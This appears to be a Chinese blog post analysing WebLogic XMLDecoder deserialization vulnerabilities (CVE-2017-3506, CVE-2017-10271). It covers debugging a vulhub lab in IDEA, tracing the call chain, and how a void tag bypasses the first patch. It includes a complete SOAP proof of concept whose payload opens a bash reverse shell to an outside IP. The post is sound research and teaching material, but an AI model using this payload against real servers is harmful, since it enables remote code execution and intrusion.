IDEA远程调试Weblogic XmlDecoder漏洞

0x00 前言

前边一篇学习分析了XmlDecoder反序列化漏洞细节,XMLDecoder反序列化漏洞分析。Weblogic中因为默认包含的wls-wastwls9_async_response war_async等包中采用xmldecoder处理XML数据,出现了多次具有严重影响的反序列化漏洞:CVE-2017-3506 -> CVE-2017-10271(10352) -> CVE-2019-2725 -> CVE-2019-2729,此篇将对weblogic xml反序列化漏洞进行分析。

本篇学习分析了wls-wast包中出现的CVE-2017-3506CVE-2017-10271两个漏洞。

0x01 IDEA远程调试WebLogic(Docker)

使用vulhub快速搭建weblogic,这里需要开启远程调试,所以修改一下docker-compose.yml开启8453远程调试端口。

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"

然后docker-compose up -d启动容器,使用docker exec -it containerName /bin/bash进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh以开启debug模式

添加如下内容

1
2
debugFlag="true"
export debugFlag

然后重启容器 docker restart containerName

使用nestat -anp查看8453端口已开启

lakRW6.png

然后将weblogic依赖包从容器中拷贝出来一份,以供IDEA远程调试

1
2
docker cp containerName:/root/Oracle/Middleware/wlserver_10.3 .
docker cp 31:/root/Oracle/Middleware/wlserver_10.3 .

使用IDEA打开 上面拷出来的wlserver_10.3,然后将./server/lib右键 Add as library

然后将刚才拷出来的modules文件夹也加入到Libraries

然后再选择jdk

最后配置远程服务器,添加ip和端口

点击debug,出现下面内容即是配置成功。

0x02 CVE-2017-3506

漏洞触发位置

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

使用poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.142:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 644

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.111.1/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

参照诸位前辈的分析记录,漏洞调用链为

1
2
3
4
5
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

因此在wlserver_10.3\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class类的processRequest方法处下断点,post发送poc。

断点成功,并且var1变量内容即为发送的xml内容

继续向下跟踪,v3获取到xml数据中<work:WorkContext> </work:WorkContext>获取到的内容后进入readHeaderOld方法

传进来的v1只获取了workContext头部内容,然后使用ByteArrayOutputStream读取缓存区的其余xml数据保存在var4,然后创建WorkContextXmlInputAdapter对象,进入receive方法。

继续跟进,创建WorkContextMapInterceptor对象,然后调用receiveRequest方法。

然后又调用WorkContextLocalMapreceiveRequest方法

继续进入readEntry方法

然后进入readUTF方法

而最终readUTF返回的是xmlDecoder.readOnject,反序列化后成功执行命令。xmldecoder反序列化漏洞细节参考XMLDecoder反序列化漏洞分析

0x03 CVE-2017-10271

针对cve-2017-3506,官网发布下面的补丁,在validate方法中针对object标签采用黑名单的方式进行拦截,在XMLDecoder反序列化漏洞分析一文中曾讲过void标签可代替object。因此此处可使用void标签绕过cve-2017-3506的补丁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//cve-2017-3506补丁
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

随后,官网立即发布cve-2017-10271补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//cve-2017-10271
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

可以看到,在该补丁中,依旧采用黑名单方式

1、 禁用 object、new、method 标签

2、 当使用 void 标签,限制只能有 index 属性

3、 当使用 array 标签且使用 class 属性,则它的值只能是 byte

随后又爆出cve-2019-2725针对此补丁的绕过方式,后续有时间再做分析。详情可参见https://www.freebuf.com/vuls/206374.html

0x04 参考链接

https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html

http://whip1ash.cn/2018/10/21/weblogic-deserialization/

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

XMLDecoder反序列化漏洞分析

本文标题:IDEA远程调试Weblogic XmlDecoder漏洞

文章作者:boogle

发布时间:2020年01月04日 - 16:09

最后更新:2020年01月04日 - 16:11

原始链接:https://zhengbao.wang/IDEA远程调试Weblogic-XmlDecoder漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗